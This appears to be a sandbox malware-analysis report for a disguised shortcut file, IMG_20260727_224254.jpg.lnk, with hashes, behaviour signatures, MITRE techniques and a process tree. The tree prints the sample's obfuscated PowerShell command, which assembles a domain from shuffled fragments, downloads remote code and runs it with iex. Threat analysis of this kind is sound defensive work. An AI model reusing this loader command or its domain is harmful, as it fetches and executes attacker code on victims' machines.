33bc5939612300b02a4aa44ec3d7d3f38f94e5eb40b1fd25fd82ce3e160db094

Analysis

max time kernel
148s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 10:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260727_224254.jpg.lnk
Size 1KB
Sample260728-mcaeaavajb
SHA256 33bc5939612300b02a4aa44ec3d7d3f38f94e5eb40b1fd25fd82ce3e160db094
MD5 2e3266ee462383744853f63cf6871590
SHA1 c60d1baf6e04a4985870f0866de3cb5e6da2b0a5
SHA512 8e1ad6cab5dacb218915e5cb9d3ef1f8d0c29fc8aa12413e968c2fd020a708a2552d51d4120c420c6ac7d37c1a33e690d86a9ef3f9192fa8ec4844977d44b332
TLSH
T15531DF299BF20328D6BB8B355876631187317A0EDA49CFDF1384C2945964210F878F7B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	3240	powershell.exe
6	3240	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1188	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3240	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1188 wrote to memory of 3240	1188	cmd.exe	90
PID 3240 wrote to memory of 352	3240	powershell.exe	91
PID 352 wrote to memory of 4616	352	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_224254.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('tay','hotoin','s','.shop','no','vp','reser','w')[6,5,1,2,0,4,7,3] -join $FdvojEap) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3240
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\myaz1jtc\myaz1jtc.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:352
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES913A.tmp" "c:\Users\Admin\AppData\Local\Temp\myaz1jtc\CSCFF7A4C87842A4E8DA91BBBD4FC126213.TMP"
      4⤵
      PID:4616

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES913A.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES913A.tmp
Size 1KB
SHA256 4842b1bfbd9050a0d43e69c17573163d775683635aba9761cb0e2c9f972766fb
MD5 cc4506de4b26453388bd50d514e2d3d3
SHA1 7652fc275777e07b97cdb51c07bdb3b3ddd20cda
SHA512 faa131ca60c2afc6ac99127583d9fb4130f1b04e57c18e6e356aa71ef8c173b1dd36ef6065c134eecf9c7f287bd18def19b72bdd8987d485d9648cf6c22ffe64
TLSH
T10D218C0553E8471EF07757326AF6072F9674FD64DFA2A35B8580422D2C11504EFF0A72
MD5 SHA1 SHA512 TLSH

Submit Download

myaz1jtc.dll

Path C:\Users\Admin\AppData\Local\Temp\myaz1jtc\myaz1jtc.dll
Size 3KB
SHA256 d2d9d47a800e6035e349a2e219f78b8f0ac5aa40599691447a0fcfed9dc08089
MD5 e83a5a0fe40cf7ac74e8cb9f5eb52ff8
SHA1 340eda5517b8b6ddb5b4133ebacf021dc24689a6
SHA512 d1f4e779f33aa3672f5348735b040686d18e77b1122819db843cf9c0afe774cecd752d06d3115d8fa2804175ff0dc3fbdb25759f884ccc5981f3a5f34402f708
TLSH
T19251CA1A93EC466BE4770731AFF307532BB4F8148FB257691A800229AC20B545E31BB0
MD5 SHA1 SHA512 TLSH

Submit Download

CSCFF7A4C87842A4E8DA91BBBD4FC126213.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\myaz1jtc\CSCFF7A4C87842A4E8DA91BBBD4FC126213.TMP
Size 652B
SHA256 476c2ba5ab01f11c831a3ca6a32a519eea413d3d0bebeb68e521a8470c6c1bd4
MD5 a6fd4db168fb3d54ae70929b218dfc6c
SHA1 0237ef766b9148c5750bc262eb02a00e88c4b7c8
SHA512 4b5bf845d5d1dd1c9bea418002e6ceb96b462e968fddcddd1cd77686a60122c2a77f982faa1d2014dfbce08a51bbb8c63541cbd1a68de9ab19f274637731a101
TLSH
T119F05E0963F8020EF0F34B31BEF6436399A9BC64DE3293ED1580031D28649108A72FB2
MD5 SHA1 SHA512 TLSH

Submit Download

myaz1jtc.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\myaz1jtc\myaz1jtc.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

myaz1jtc.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\myaz1jtc\myaz1jtc.cmdline
Size 369B
SHA256 e7ce3cfcd80ef98e723865aaf52a52b73e6857dc2acd3061215a2798b8d54406
MD5 3d3cc81359ace50a34dfe37823319f25
SHA1 e0f8533bdae98e76b1336d47584aabd52e60c4ef
SHA512 c87a4d66529571bc785555cc0b6205283b6bde0591a19069de950c6e71158f8839ad8c0a9ed8b157a9142a45dfe26e52099e3e39aea7ee97c88acde2c53922fe
TLSH
T13CE0C66EC786C2FD52ED242B22AAC4ACC27207832DC63FC49A40843DE3270062FD2781
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3240-10-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

Download

memory/3240-9-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

Download

memory/3240-11-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

Download

memory/3240-12-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

Download

memory/3240-13-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

Download

memory/3240-14-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

Download

memory/3240-15-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

Download

memory/3240-16-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

Download

memory/3240-17-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

Download

memory/3240-18-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

Download

memory/3240-19-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

Download

memory/3240-2-0x00007FFBE067F000-0x00007FFBE0680000-memory.dmp

Download

memory/3240-8-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

Download

memory/3240-7-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

Download

memory/3240-32-0x000002AB6C730000-0x000002AB6C738000-memory.dmp

Download

memory/3240-4-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

Download

memory/3240-3-0x000002AB6C230000-0x000002AB6C252000-memory.dmp

Download

memory/3240-33-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

Download

memory/3240-34-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

Download

memory/3240-35-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

Download

memory/3240-36-0x00007FFBE04F0000-0x00007FFBE0E94000-memory.dmp

Download